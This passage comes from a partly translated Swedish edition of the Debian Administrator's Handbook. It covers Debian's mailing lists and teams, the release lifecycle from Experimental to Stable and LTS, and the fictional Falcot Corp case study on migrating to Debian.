En tjänst för e-postprenumeration kompletterar webbgränssnittet. Det skickar automatiskt ett urval av information till listan: felrapporter och relaterade diskussioner, tillgänglighet för nya utgåvor på Debian-servrar, nya tillgängliga översättningar för granskning, med mera.

Avancerade användare kan därmed följa all information på nära håll samt även bidra till projektet, när de väl har en tillräckligt stor förståelse för hur det fungerar.

Another web interface, known as the Debian Developer's Packages Overview (DDPO), provides each developer a synopsis of the status of all Debian packages placed under their charge.

→ https://qa.debian.org/developer.php

Båda webbplatserna är verktyg som utvecklats och hanteras av gruppen ansvarig för kvalitetsförsäkran inom Debian (kända som Debian QA).

Listmasters har hand om e-postservern som hanterar e-postlistorna. De skapar nya listor, hanterar studsar (aviseringar om leveransproblem), och hanterar spam-filter (oönskade massutskick).

KULTUR Trafik på e-postlistorna: några exempel

The mailing lists are, without a doubt, the best testimony to activity on a project, since they keep track of everything that happens. The numbers (from April 2021) regarding our mailing lists speak for themselves: Debian hosts about 325 lists, totaling over 295,000 individual subscriptions. 396,000 e-mails are delivered every day.

Each specific service has its own administration team, generally composed of volunteers who have installed it (and also frequently programmed the corresponding tools themselves). This is the case for the bug tracking system (BTS), the package tracker, salsa.debian.org (GitLab server, see sidebar VERKTYG GitLab, tillhandahållande av Git föråd och mycket mer), the services available on qa.debian.org, lintian.debian.org, buildd.debian.org, cdimage.debian.org, etc.

1.3.3.3. Utvecklargrupper, överlappande grupper

Olikt de administrativa grupperna är utvecklingsgrupperna generellt ganska öppna, även för bidrag utifrån. Även om Debians syfte är att skapa program behöver projektet ändå en del specifika sådana för att nå sina mål. Verktygen, självklart fri programvara, använder beprövade metoder i fri programvaru-världen.

Debian har utvecklat några få egna programvaror, men vissa program har fått en ledande roll, och deras namn har spritt sig långt utanför projektet. Bra exempel är dpkg, Debians-pakethanteringssystem (det är faktiskt en förkortning av Debian PacKaGe, och uttalas som ”dee-package”), och apt, ett verktyg för att automatiskt installera Debianpaket med beroenden, och som försäkrar sig om systemets samstämmighet efter en uppgradering (namnet är en akronym för Advance Package Tool). Deras team är dock mycket mindre eftersom det krävs en ganska hög färdighet i programmering för att förstå hur dessa programtyper fungerar.

Det viktigaste teamet är kanske det för installationsprogramet för Debian, debian-installer och som har uppnått enormt mycket sedan det startades 2001. Det har krävt många medarbetare eftersom det är svårt att skriva en enskillt program kapabelt att installera Debian på ett dussin olika arkitekturer. Varje arkitektur har sina mekanismer för uppstart och deras egena Uppstartsladdare. All detta arbete koordineras på sändlistan för <debian-boot@lists.debian.org> under ledning av Cyril Brulebois.

→ https://www.debian.org/devel/debian-installer/

→ https://joeyh.name/blog/entry/d-i_retrospective/

Det lilla teamet debian-cd har ett ännu blygsammare mål. Många små ”medarbetare” är ansvariga för deras arkitektur, eftersom huvudutvecklaren inte kan känna till alla variationer, eller det exakta sättet att starta installationen från CD-ROM-skivan.

Många team måste samarbeta med andra när det gäller paketering: <debian-qa@lists.debian.org> försöker till exempel att garantera kvaliteten på alla nivåer i Debian-projektet. Sändlistan <debian-policy@lists.debian.org> utvecklar efter förslag Debians riktlinjer. Teamen som har ansvar för arkiteturerna (<debian-architecture@lists.debian.org>) sätter samman alla paket och anpassar dem, om så behövs, utefter deras speciella arkitektur.

Andra team hanterar det viktigaste paketen för att försäkra sig om underhåll utan att lägga för stor vikt på en enstaka person; detta gäller C-biblioteket och <debian-glibc@lists.debian.org>, och C-kompilatorn på sändlistan<debian-gcc@lists.debian.org> eller Xorg på <debian-x@lists.debian.org> (denna grupp är också känd som X Strike Force).

1.4. Följ nyheter om Debian

Som tidigare nämnts utvecklas Debian-projektet på ett väldigt distribuerat organiskt sätt. En konsekvens av det är det ibland vara svårt hålla reda på vad som händer inom projektet utan att bli överväldigad av en ständig ström av aviseringar.

Om du endast önskar få de viktigaste nyheterna om Debian är en prenumerera på sändlistan <debian-announce@lists.debian.org> förmodligen det du är ute efter. Listan har lite trafik (kanske ett dussin meddelanden per år) och har endast med de viktigaste utropen, som tillgängligheten av en ny utgåva, valet av en ny projektledare eller den årliga Debian-konferensen.

→ https://lists.debian.org/debian-announce/

Mer allmänna (och vanliga) nyheter om Debian skickas till sändlistan <debian-news@lists.debian.org>. Trafiken i denna sändningslista är ganska hanterbar också (ungefär en handfull meddelanden per månad), och det inkluderar även den lite mindre vanliga ”Debian projektnyheter”, vilket är en samling av olika små informationsdelar om vad som händer i projektet.

→ https://lists.debian.org/debian-news/

GEMENSKAP Publicitetsteamet

Debians officiella kommunikationskanaler hanteras av voluntärer från Debians publicitetsteam. De är delegater för Debians projektledare och hanterar nyheter och tillkännagivanden som publiceras. Många andra voluntärer bidrar till teamet, exempelvis genom att skriva inlägg i "Debian Projektnyheter", Debian's officiella blogg (bits.debian.org) eller på tjänsten för microblogg (micronews.debian.org), vilket tillhandahåller hemsidor för sociala medier innehåll av microblogg.

→ https://wiki.debian.org/Teams/Publicity

För mer information om Debians utveckling och vad som händer i olika team vid något givet tillfälle finns också sändlistan <debian-devel-announce@lists.debian.org>. Som namnet antyder är utskicken där kanske mest intressanta för utvecklare, men tillåter också intresserade hålla ett öga på vad som händer utöver när den stabila utgåvan släpps. Medan <debian-announce@lists.debian.org> visar nyheter om användarsynliga resultat visar <debian-devel-announce@lists.debian.org> resultat om hur dessa skapades. Intressant notering är att “d-d-a” (som den ibland hänvisas till) är den enda sändlista Debian-utvecklare måste prenumerera på.

→ https://lists.debian.org/debian-devel-announce/

Debian's officiella blogg (bits.debian.org) är också en bra källa till information. Den förmedlar de mesta av de intressanta nyheterna som publicerats i de sändningslistor som vi gått igenom samt även andra viktiga nyheter som medlemmar i gemenskapen bidragit med. Eftersom alla Debian's utvecklare kan bistå med nyheter till kanalen när de tror sig ha någonting av värde att publicera, ger Debian's blogg en värdefull insikt samtidigt som den behåller fokuset på projektet som helhet.

En mer informell informationskälla kan hittas på Planet Debian, vilken samlar ihop artiklar postade av Debian-medarbetare på deras respektive bloggar. Medan innehållet inte exklusivt handlar om Debian-utveckling ger de en inblick i vad som händer i gemenskapen och vad dess medlemmar gör.

→ https://planet.debian.org/

The project is also well represented on social networks. Debian only has an official presence on Identi.ca (microblogging platform, powered by pump.io), but there are some accounts retransmitting the RSS feed from micronews.debian.org and many Debian contributors who are posting on non-official accounts.

→ https://identi.ca/debian

→ https://twitter.com/debian

→ https://www.facebook.com/debian

→ https://www.flickr.com/groups/debian

→ https://www.linkedin.com/company/debian

1.5. Distributionernas roller

En GNU/Linux-distribution har två huvudsakliga mål: installera ett fritt operativsystem på en dator (antingen med eller utan existerande system) och att erbjuda ett utbud av programvara som täcker alla användares behov.

1.5.1. Installationsprogrammet: debian-installer

Det första målet, är att debian-installer är skapat för att vara extremt modulärt för att vara så generellt som möjligt. Det täcker en stor mängd installationssituationer, och underlättar rent allmänt skapandet av härledda installationer med speciella behov.

Denna modularitet gör programmet komplext, och det kan vara avskräckande för utvecklare som nyss upptäckt detta verktyg; oavsett användning i grafik- eller textläge är användarens upplevelse liknande. Det har lagts ned mycket arbete på att minska antalet frågor under installationstiden, och det hänger mycket ihop med automatisk identifiering av hårdvara.

Det är intressant att notera att distributioner som härstammar från Debian skiljer sig stort på denna punkt, och erbjuder mer begränsad installerare (ofta begränsad till i386 eller amd64-arktektureran), men användarvänligaare för nybörjare. Å andra sidan undviker de ofta för att gå för långt bort från paketinnehållen, i syfte att vinna så mycket som möjligt av det breda programvaruutbudet, utan att orsaka kompatibilitetsproblem.

1.5.2. Programvarubiblioteket

Quantitatively, Debian is undeniably the leader in this respect, with over 31,000 source packages. Qualitatively, Debian’s policy and long testing period prior to releasing a new stable version justify its reputation for stability and consistency. As far as availability, everything is available on-line through many mirrors worldwide, with updates pushed out every six hours.

Det flesta nya fria programmen hittar snabbt sin väg in i utvecklingsversionen vilket låter de bli installerbara. Om detta kräver för många uppdateringar beroende på beroenden k programmet också kompileras om för den stabila versionen av Debian (se Kapitel 15, Skapa ett Debian-paket för ytterligare information).

1.6. En utgåvas livscykel

Projektet kommer samtidigt ha tre till sex olika verison av varje program, namngivna Experimental, Unstable, Testing, Stable, Oldstable, och till och med Oldoldstable. Var och en av dem motsvarar en fas i utvecklingen. För en bättre förståelse, låt oss titta närmare på ett programs resa, från dess initiala paketering till att det inkluderas i en stabil utgåva av Debian.

ORDFÖRRÅD Utgåva

Begreppet ”utgåva” i Debian-projektet hänvisar till en speciell version av en distribution (”unstable release” betyder ”den instabila versionen”). Det indikerar också den offentliga aviseringen och lanseringen för en ny version (stable).

1.6.1. Statusen Experimental

Låt oss först ta en närmare titt på Experimental. Dess namn förklaras av att det är en grupp Debianpaket som motsvarar programvaran under utveckling just nu, och nödvändigtvis inte är färdiga. Inte allt passerar detta steg; en del utvecklare lägger till paket för att kunna få återkoppling från erfarna, modiga användare.

Annars huserar denna distribution ofta viktiga ändringar i baspaket, vars integration i Unstable med allvarliga fel skulle kunna ha kritiska konsekvenser. Den är därmed en helt isolerat distribution, vars paket aldrig migrerar till en annan version (förutom genom direkt inblandning från förvaltare eller ftpmaster). Den är inte heller isolerad; endast en mängd av de existerande paketen finns i Experimental, och den innehåller vanligen inte grundsystemet. Denna distribution är därför mest använd i kombination med en annan self-contained version som Unstable.

1.6.2. Statusen Unstable

Låt oss återgå till fallet med ett typiskt paket. Ansvarige skapar ett initialt paket som de kompilerar för versionen Unstable och lägger den på servern ftp-master.debian.org. Detta första steg omfattar inspektion och validering från ftpmasters. Programvaran finns sedan tillgänglig i distributionen Unstable , vilket är distributionen med mjukvara "på utvecklingens knivspetts" och som väljs av användare som mer bryr sig om att ha senaste paketen än bekymrar sig för allvarliga fel. De upptäcker programmet och testar det sen.

Om de stöter på fel rapporterar de till paketets ansvariga. Ansvariga förbereder sedan rättade versioner som sedan skickas upp till servern.

Every newly updated package is updated on all Debian mirrors around the world within six hours. The users then test the corrections and search for other problems resulting from the modifications. Several updates may then occur rapidly. During these times, autobuilder robots come into action. The maintainer uploads the package sources (without any precompiled package). The autobuilders take over and automatically compile versions for all supported architectures. Some compilations may fail; the maintainer will then receive a bug report indicating the problem, which is then to be corrected in the next versions. When the bug is discovered by a specialist for the architecture in question, the bug report may come with a patch ready to use.

Figur 1.2. Kompilering av ett paket av autobuilder

SNABBTITT buildd, Debians paketomkompilerare

buildd är en förkortning av ”build daemon”. Detta program kompilerar automatiskt om nya versioner av Debian-paket på andra arkitekturer än på vilken den körs på (korskompilatorer undviks så mycket som möjligt).

För att producerar binärer för arkitekturen arm64-arkitekturen, har projektet amd64-maskiner tillgängliga. Programmet Buildd kör dem kontinuerligt och skapar binärpaket för arm64 från källpaket skickade av Debian-utvecklare.

Programvaran används på alla datorer som tjänar Debians autobyggare. Ofta används termen buildd för att hänvisa till dessa maskiner, som reserveras endast för detta syfte.

1.6.3. Migration till Testing

Senare kommer paketet att ha mognat; kompilerat för alla arkitekturer kommer den inte att ha nyare ändringar. Det är nu en kandidat för att inkluderas i distributionen Testing - en grupp av paket från Unstable, valda efter något mätbart kriterium. Varje dag väljer ett program automatiskt paket som ska inkluderas i Testing enligt element som garanterar en viss kvalitetsnivå:

lyckad kompilering på alla officiellt stödda arkitekturer;

avsaknad av kritiska fel, eller åtminstonde mindre än aktuell version inkluderad iTesting;

minst 5 dagar i Unstable, vilket vanligtvis är tillräckligt med tid för att hitta och rapportera allvarliga problem (om paketets egna testprotokoll bifogas, om det finns några framtagna, kan tiden minskas);

beroenden som kan tillfredsställas i Testing, eller som åtminstonden kan flyttas dit tillsammans med paketet i fråga;

automatiskt kvalitetstest av paketet (autopkgtest) — om definierad — visar ingen återgång.

Detta system är inte ofalerbart; kritiska fel hittas regelbundet i paket inkluderade i Testing. Det är åndå oftast effektivt och Testing har långt färre problem änUnstable, vilket ger en bra avvägning mellan stabilitet och nyfikenhet.

OBS Begränsningar med Testing

Även om den är väldigt intressant i praktiken har Testing en del praktiska problem: väven av beroenden mellan paket sådan att ett paket sällan kan flyttas ensamt. Med packet som alla beror på varandra är det ibland nödvändigt att migrera ett stort antal paket samtidigt, vilket är omöjligt vid uppsändning av uppdateringar regelbundet. Å andra sidan, skriptet som identifierar paketfamiljen av relatetarde paket jobbar hårt för att skapa dem (detta är ett NP-kompelett problem, för vilket som tur är, vi vet nägra bra .....). Det är därför vi manuellt kan interagera med och guida detta skript genom att föreslå paketgrupper, eller tvinga att vissa paket inkluderas i en grupp, även om det tillfälligt bryter några beroenden. Denna funktionalitet är tillgånlig för Utgåvehanteraren och dessa assistenter.

Kom ihåg att ett NP-komplett problem har en exponentiell algoritmisk komplexitet alltefter storlek på data, vilket här är kodlängd (antal tecken) och involverade element. Det enda sättet att lösa detta på är att regelbundet undersöka alla möjliga konfigurationer, vilket kan kräva enorma resurser. En heuristik är en närliggande. men tillfredställande lösning.

GEMENSKAP utgåvehanteraren

Utgåveadministratör är en viktig titel, associerade med stort ansvar. Bäraren av denna titel måste, i princip, hantera utgivningen av en ny stabil versione av Debian, och definiera processen för utvecklingen av Testing till den möter kvalitetskriterien för Stable. De skapar också upp ett preliminärt schema (som inte alltid följs).

We also have Stable Release Managers, often abbreviated SRM, who manage and select updates for the current stable version of Debian. They systematically include security patches and examine all other proposals for inclusion, on a case by case basis, sent by Debian developers eager to update their package in the stable version.

1.6.4. Förflytta Testing till Stable

Låt oss anta att vårt paket nu inkluderas i Testing. Så länge det finns rum för förbättringar måste dess ansvariga fortsätta att förbättra det och starta om processen från Unstable (men att senare få den med i Testing går vanligtvis snabbare: om den inte har ändrats rejält är alla dess beroenden redan tillgänglig). När den når perfektion har underhållaren utfört sitt arbete. Nästa steg är att inkludera den iStable-ditributionen som i verkligheten är en kopia av Testing skapad vid en vald tidpunkt, vald av utgåveadministratören. Idealt sker detta beslut när installeraren är redo och inget program i Testing har några kända kritiska fel.

Eftersom detta aldrig inträffar i praktiken måste Debian kompromissa: ta bort paket vars underhållare har misslyckats med att laga fel i tid, eller besluta att släppa en utgåva med en del fel i en eller flera av dess tusentals program. Utgåveadminstratören kommer sen tidiagare ha aviserat ut en frys-period, under vilken varje uppdatering i Testing måste godkännas. Syftet är här att föhindra att någon ny version (med nya fel) och endast tillåta att uppdateringar lagar fel.

Figur 1.3. Ett pakets resa genom de olika Debian-versionerna

ORDFORRÅD Frys: inga ändringar

Under frysperioden är utveckling i distributionen Testing blockerad.; inga fler automatiska uppdateringar tillåts. Endast utgåveadministratörer har rätt att ändra paket. Syftet är att förhindra att nya fel uppstår genom nya versioner; endast noggrant undersökta uppdateringar är tillåtna när de rättar signifikanta fel.

After the release of a new stable version, the Stable Release Managers manage all further development (called “revisions”, ex: 10.1, 10.2, 10.3 for version 10). These updates systematically include all security patches. They will also include the most important corrections (the maintainer of a package must prove the gravity of the problem that they wish to correct in order to have their updates included).

Vid resans slut följer vårt hypotetiska paket med i den stabila distributionen. Denna resa, inte utan svårigheter, förklarar fördröjningarna mellan utgåvor av Debian Stable. Detta bidrar allmänt till dess rykte om kvalitet. Vidare, de flesta användare är nöjda med att använda en av de tre distributionerna som samtidigt finns tillgängliga. Systemadministratörer, som främst vill ha stabilitet på sina servrar behöver inte den senaste heta versionen av GNOME; de kan välja Debian Stable vilket kommer göra dem glad. Slutanvändare, mer intresserade av de senaste versionerna av GNOME eller KDE Plasma än jättestabilitet, kommer att finna att Debian-Testing är en bra kompromiss mellan avsaknad av allvarliga brister och relativt uppdatera versioner av program. Slutligen, för utvecklare och avancerade användare som vill prova all den nyaste utvecklingen inom Debian är Unstable rykande hett, med en viss risk för att orsaka migrån och fel i nya versioner av program. För var och en deras egna Debian!

KULTUR GNOME och KDE Plasma, grafiska skrivbordsmiljöer

GNOME (originally an acronym for GNU Network Object Model Environment) and Plasma by KDE (formerly known as K Desktop Environment) are the two most popular/established graphical desktop environments in the free software world, and will be presented in greater detail in Avsnitt 13.3, ”Grafiska skrivbord”.

A desktop environment is a set of programs grouped together to allow easy management of the most common operations through a graphical interface. They generally include a file manager, office suite, web browser, e-mail program, multimedia accessories, etc. The most visible difference resides in the choice of the graphical library used: GNOME has chosen GTK+ (free software licensed under the LGPL), and the KDE community has selected Qt (a company-backed project, available nowadays both under the GPL and a commercial license).

→ https://www.gnome.org/

→ https://kde.org/

Figur 1.4. Kronologisk vägen för ett program paketerat av Debian

1.6.5. Status Oldstable och Oldoldstable

Varje Stable-utgåva har en förväntad livstid på ungefär 5 år och givet att utgåvor brukar ske vart annat år kan det finnas upp till 3 stödda utgåvor vid varje given tidpunkt. När en ny stabil utgåva sker blir den föregående utgåvan Oldstable, och den före det blir Oldoldstable.

Long Term Support (LTS) för Debian-utgåvor är ett nytt initiativ: individuella bidragsgivare och företag gick samman för att skapa teamet Debian LTS. Äldre utgpvor som inte längre stöds av Debians säkehetsteam hamnar under ansvaret från detta nya team.

The Debian security team handles security support in the current Stable release and also in the Oldstable release (but only for as long as is needed to ensure one year of overlap with the current stable release). This amounts roughly to three years of support for each release. The Debian LTS team handles the last (two) years of security support so that each release benefits from at least 5 years of support and so that users can upgrade from version N to N+2, for example, from Debian 9 Stretch to Debian 11 Bullseye.

→ https://wiki.debian.org/LTS

GEMENSKAP Företag som sponsrar LTS-arbetet

Long Term Support is a difficult commitment to make in Debian because volunteers tend to avoid the work that is not very fun. And providing security support for 5 year old software is — for many contributors — a lot less fun than packaging new upstream versions or developing new features.

För att låta projektet leva räknade projektet med att långtidssupport var speciellt viktigt för företag och att de skulle vara villiga att bidra till kostnaden för säkerhetsunderhåll.

Projektet startades i juni 2014: en del organisationer tillät sina anställda att bidra på deltid till Debian LTS medan andra föredrog att stödja projektet med pengar så att bidragare till Debian får betalt för att göra arbete de annars inte skulle göra gratis. De flesta bidragare till Debian som var villig att bli betald för att arbeta med LTS gick ihop för att skapa tydlig sponsring hanterad av Freexian (Raphaël Hertzogs företag):

→ https://www.freexian.com/services/debian-lts.html

I Debian LTS-team arbetar volontärer på paket de bryr sig om, medan betalad bidragsgivare prioriterar paket använda av deras sponsorer.

Projektet letar alltid efter nya sponsorer: Hur ligger det till med ditt bolag? Kan du låta en anställd arbeta deltid med support över lång tid? Kan du allokera en liten budget för säkerhetsunderhåll?

→ https://wiki.debian.org/LTS/Funding

Kapitel 2. Presentera fallstudien

Inom ramen för dennna boken är du systemadministratör för ett litet växande företag. Tiden är kommen för att du ska omdefiniera den generella planen för informationssystemen för de kommande åren i samarbete med direktörerna. Du väljer att progressivt migrera över till Debian, både av praktiska och ekonomiska skäl. Låt oss i detalj se vad som väntar dig…

Du har föreställt dig att denna fallstudie ska ta sig an alla moderna informationssystemstjänster som för närvarande används i ett medelstort företag. Efter att ha läst denna bok kommer du att känna till alla moment som behövs för att installera Debian på dina servrar och klara dig själv. Du kommer också att lära dig hur du effektivt hitta information vid problem.

2.1. Snabbväxande IT-behov

Falcot Corp tillverkar högkvalitativ ljudutrustning. Företaget växer starkt och har två anläggningar, en i Saint-Étienne och en annan i Montpellier. Den föregående har runt 150 anställda och utgör fabriken för tillverkningen av högtalare, ett designlaboratorium och alla administrativ personal. Anläggningen i Montpellier är mindre, med bara runt 50 anställda och producerar förstärkare.

NOT Fiktivt företag skapat för fallstudie

Företaget Falcot Corp som används exempel här är helt och hållet fiktivt. Eventuell likhet med existerande företag är rena sammanträffande. På samma sätt kan viss exempeldata som används i boken vara fiktiv.

informationsystemet har haft problem med att hålla jämna steg med företagets tillväxt, så de är nu beslutna att helt omdefiniera det för att klara de olika mål som fastställts av ledningen:

modern infrastruktur som skalar lätt;

reducera kostnaderna för programvarulicenser tackvare användning av programvara med öppenkällkod;

installation av en webbplats för e-handel, eventuellt B2B (business to business, dvs. länkning av informationssystem mellan olika företag, så som en tillverkare och dess kunder);

signifikant förbättring vad det gäller säkerhet för att bättre skydda affärshemligheter relaterade till nya produkter.

Hela informationssystemet kommer att göras om med dessa mål i tanke.

2.2. Generalplan

Med ditt samarbete har IT-ledningen genomfört en något utförligare studie som identifierar vissa begränsningar och definerar en plan för migration till det valda öppen källkodssystemet, Debian.

En betydande begränsning som identiferats är att ekonomiavdelningen använder specifik programvara vilken bara kör under Microsoft Windows™. Laboratoriet å andra sidan använder computer aided design-programvara som kör på OS X™.

Figur 2.1. Överblick över Falcot Corps nätverk

Övergången till Debian kommer att göras stegvis; ett litet företag med begränsade medel kan inte rimligtvis ändra allting över en natt. Till att börjar med måste IT-personalen genomgå träning i Debian-administration. Servrarna måste konverteras, med början med nätverksinfrastrukturen (routrar, brandväggar, etc.) åtföljt av användartjänster (fildelning, webb, SMTP, etc.). Därefter kommer kontorsdatorerna gradvis att migreras över till Debian för varje avdelning som tränas (internt) under sjösättningen av det nya systemet.

2.3. Varför en GNU/Linux-distribution?

TILLBAKA TILL GRUNDERNA Linux eller GNU/Linux?

Linux, som du redan vet, är enbart en kräna. Uttrycken ”Linux-distribution” och ”Linux-system” är därför felaktiga: faktum är att de är distributioner eller system baserade på Linux. Dessa uttryck misslyckas med att bnämna att programvaran som alltid kompletterar denna kärna, bland vilka programmen som utvecklats av GNU-projektet finns. Dr. Richard Stallman, grunadaren av detta projekt, insisterar på att uttrycket ”GNU/Linux” används systematiskt för att bättre erkänna de viktiga bidrag som gjorts av GNU-projektet och principerna kring frihet som de bygger på.

Debian has chosen to follow this recommendation, and, thus, name its distributions accordingly. Thus, the latest stable release is Debian GNU/Linux 11.

Flera faktorer har dikterat detta val. Systemadministratören som var bekant med denna distribution, försäkrade att den listades bland kandidaterna för datorsystemsöversynen. Svåra ekonomiska villkor och hård konkurrens har begränsat budgeten för denna processen, trots dess att den är kritisk för företagets framtid. Detta är anledningen till att öppna källkodslösningar snabbt valdes: flera nya studier indikerar att de kostar mindre än kommersiella lösningar, medan de tillhandahåller samma eller bättre kvalitet vad det gäller tjänster så länge som kvalificerad personal finns tillgänglig för att köra dem.

IN PRACTICE Total Cost of Ownership

The Total Cost of Ownership (TCO) is the total of all money expended for the possession or acquisition of an item, in this case referring to the operating system. This price includes any possible license fee, costs for training personnel to work with the new software, replacement of machines that are too slow, additional repairs, etc. Everything arising directly from the initial choice is taken into account.

Denna TCO, vilken varierar enligt de kriterier som valts i för bedömningen, är vanligen inte väsentlig när endast den betraktas. Men det är dock mycket intressant att jämföra TCO:er för olika alternativ om de beräknas enligt samma regler. Denna bedömningstabell är därför av yttersta vikt och det är enkelt att manipulera den för att kunna dra en förutbestämd slutsats. Därför är det inte vettigt att titta på TCO:n för en enstaka maskin då kastnaden för en adminstratör också reflekteras i det totala antalet maskiner de hanterar, ett antal som naturligtvis beror på vilket operativsystem och vilka verktyg som föreslås.

Bland de fria operativsystemen tittade IT-avdelningen på de fria BSD-systemen (OpenBSD, FreeBSD och NetBSD), GNU Hurd, och Linux-distributioner. GNU Hurd, vilken ännu inte har släppt en stabil version, förkastades direkt. Valet är enklare mellan BSD och Linux. Det föregående har många fördelar, speciellt på servrar. Pragmatism ledde dock till att välja ett Linux-system, då dess installationsbas och popularitet båda är markanta och det har många positiva konsekvenser. En av dessa konsekvenser är att det är enklare att hitta kvalificerad personal för att administrera Linux-maskiner än tekniker med erfarenhet av BSD. Vidare så anpassas Linux snabbare till nyare hårdvara än BSD (även om det ofta är jämnt). Avslutningsvis är Linux-distributioner ofta bättre anpassade för användarvänliga gränssnitt, vilket är ovärderligt för nybörjare under migrationen av alla kontorsmaskiner till ett nytt system.

ALTERNATIV Debian GNU/kFreeBSD

Since Debian 6 Squeeze, it is possible to use Debian with a FreeBSD kernel on 32-bit and 64-bit computers; this is what the kfreebsd-i386 and kfreebsd-amd64 architectures mean. While these architectures are not “official” (they are hosted on a separate mirror — ports.debian.org), they provide over 60% of the software packaged by Debian.

Dessa arkitekturer kan vara ett lämpligt val för Falcot Corp-administratörerna, speciell för en brandvägg (kärnan har stöd för tre olika brandväggar: IPF, IPFW, PF) eller för en NAS (nätverksanslutet lagringssystem, för vilket ZFS-filsystemet har testats och godkänts).

2.4. Varför Debian-distributionen?

När Linux-familjen har valts, måste ett mer förfinat val göras. Det finns återigen många kriterier att överväga. Den valda distributionen måste kunna fungera under flera år, då migration mellan distributioner skulle innebär ytterligare kostnader (även om det är mindre än om migrationen skett mellan två helt olika operativsystem så som Windows eller OS X).

Sustainability is, thus, essential, and it must guarantee regular updates and security patches over several years. The timing of updates is also significant, since, with so many machines to manage, Falcot Corp cannot handle this complex operation too frequently. The IT department, therefore, insists on running the latest stable version of the distribution, benefiting from the best technical assistance, and guaranteed security patches. In effect, security updates are generally only guaranteed for a limited duration on older versions of a distribution.

Avslutningsvis måste, av homogenitetsskäl och för att underlätta adminstration, samma distribution köra på alla servrar och kontorsdatorer.

2.4.1. Kommersiella och gemenskapsdrivna distributioner

There are two main categories of Linux distributions: commercial and community-driven. The former, developed by companies, are sold with commercial support services. The latter are developed according to the same open development model as the free software of which they are comprised.

En kommersiell distribution kommer därför att ha en tendens till att släppa nya versioner oftare, för att bättre marknadsföra uppdateringar och associerade tjänster. Deras framtid är direkt ansluten till den kommersiella framgången för företaget, och många har redan försvunnit (Caldera Linux, StoormLinux, Mandriva Linux, etc.).

En gemenskapsdriven distribution följer endast sitt eget schema. På samma sätt som Linux-kärnan släpps nya versionen när de är stabila, inte förr. Dess överlevnad är garanterad så länge som den har tillräckligt med individuella utvecklare eller tredjapartsföretag som stödjer den.

En jämförelse mellan olika Linux-distribution ledde av olika anledningar fram till valet av Debian:

Det är en gemenskapsdriven distribution med säkerställd utveckling som är obereonde av kommersiella restriktioner; dess mål är därför i huvudsak tekniska av natur, vilket verkar främja produktens övergripande kvalitetet.

Av alla gemenskapsdrivna distributioner är det den mest signifikanta från många perspektiv: antalet bidragsgivare, antalet programvarupaket som är tillgängliga, antalet års den funnits. Storleken på dess gemenskap är ett obestridligt bevis på dess kontinutet.

Statistiskt släpps nya versioner var 18:e till 24:e månad, och de stöds under 5 år, en plan som fungerar för adminsitratörer.

En undersökning av flera franska tjänsteföretag som specialiserar sig på fri programvara har visat att alla av dem tillhandahåller tekniskt assistans för Debian; för många är det också deras egna internt valda distribution. Mångfalden av eventuella leverantörer är en stor tillgång för Falcot Corps oberoende.

Avslutningsvis är Debian tillgänglig på ett antal olika arkitekturer, inklusive ppc64el för OpenPOWER-processesorer; det kommer därför att vara möjligt att installera det på Falcot Corps senaste IBM-servrar.

I PRAKTIKTEN Debian Long Term Support

Projektet Debian Long Term Support (LTS, långtidssupport) startade 2014 och ämnar att tillhandahålla 5 års säkerhetsstöd till alla stabila Debian-versioner. Då LTS är av yttersta vikt för organisationer med stora system försöker projektet samla ihop resurser från Debian-användade företag.

→ https://wiki.debian.org/LTS

Falcot Corp är inte stort nog för att låta en personerna ur dess IT-personal bidrag till LTS-projektet, så företaget har valt att prenumerera på Freexians Debian LTS-kontrakt och tillhandahålla finansiellt stöd. Tack vare detta veta Falcot-administratörerna att paketen de använder kommer att hanteras med prioritet och de har direktkontakt med LTS-gruppen om problem skulle uppstå.

→ https://wiki.debian.org/LTS/Funding

→ https://www.freexian.com/services/debian-lts.html

Once Debian has been chosen, the matter of which version to use must be decided. Let us see why the administrators have picked Debian Bullseye.

2.5. Why Debian Bullseye?

Every Debian release starts its life as a continuously changing distribution, also known as “Testing”. But at the time you read those lines, Debian Bullseye is the latest “Stable” version of Debian.

The choice of Debian Bullseye is well justified based on the fact that any administrator concerned about the quality of their servers will naturally gravitate towards the stable version of Debian. Even if the previous stable release might still be supported for a while, Falcot administrators aren't considering it because its support period will not last long enough, and because the latest version brings new interesting features that they care about.

Kapitel 3. Analysera den befintliga inställningen och migrera

All omstrukturering av datorer bör ta hänsyn till existerande system. Detta möjliggör återanvändning av tillgängliga resurser så långt som möjligt och garanterar interoperabilitet mellan de olika element som utgör systemet. Denna studie kommer att introducera ett generiskt ramverk att följa i all migration av datorinfrastruktur till Linux.

3.1. Samexistens i heterogena miljöer

Debian integerar väl i alla typer av existerande miljöer och fungerar väl med andra operativsystem. Denna nästan perfekta harmoni kommer från marknadstryck som kräver att upphovsmän till programvaror utvecklar program som följer standarder. Överrensstämmelse med standarder låter administratörer byta ut program: klienter eller servrar, oavsett om de är fria eller ej.

3.1.1. Integration med Windows-maskiner

Samba's SMB/CIFS support ensures excellent communication within a Windows context. It shares files and print queues to Windows clients and includes software that allows a Linux machine to use resources available on Windows servers.

VERKTYG Samba

Den senaste versionen av Samba kan ersätta de flesta Windows-funktioner: allt från de hos en enkel Windows NT-server (autentisering, filer, skrivarköer, hämtning av skrivardrivrutiner, DFS, etc.) till de mest avancerade (en domänkontroller kompatibel med Active Directory).

3.1.2. Integration with macOS machines

macOS machines provide, and are able to use, network services such as file servers and printer sharing. These services are published on the local network, which allows other machines to discover them and make use of them without any manual configuration, using the Bonjour implementation of the Zeroconf protocol suite. Debian includes another implementation, called Avahi, which provides the same functionality.

In the other direction, the Netatalk daemon can be used to provide file servers to macOS machines on the network. It implements the AFP protocol (Apple Filing Protocol, now AppleShare) as well as the required notifications so that the servers can be automatically discovered by the macOS clients.

Äldre Mac OS-nätverk (före OS X) använde ett annat protokoll kallat AppleTalk. För miljöer som inkluderar maskiner som använder detta protokoll tillhandahåller Netatalk även AppleTalk-protokollet (faktum är att den började som en omimplementation av det protokollet). Den säkerstället funktioner så som filserver och skrivarköer så väl som tidsserver (klocksynkronisering)l. Dess router-funktion möjliggör sammankoppling med AppleTalk-nätverk.

3.1.3. Integration med andra Linux-/Unix-maskiner

Finally, NFS (Network File System) and NIS (Network Information Service), both included, guarantee interaction with Unix systems. NFS ensures file server functionality, while NIS creates user directories. The BSD printing layer, used by most Unix systems, also allows sharing of print queues.

Figur 3.1. Samexistens mellan Debian och OS X-, Windows- och Unix-system

3.2. Hur man migrerar

In order to guarantee continuity of the services, each computer migration must be planned and executed according to the plan. This principle applies regardless of which operating system is used.

3.2.1. Undersökning och identifiering av tjänster

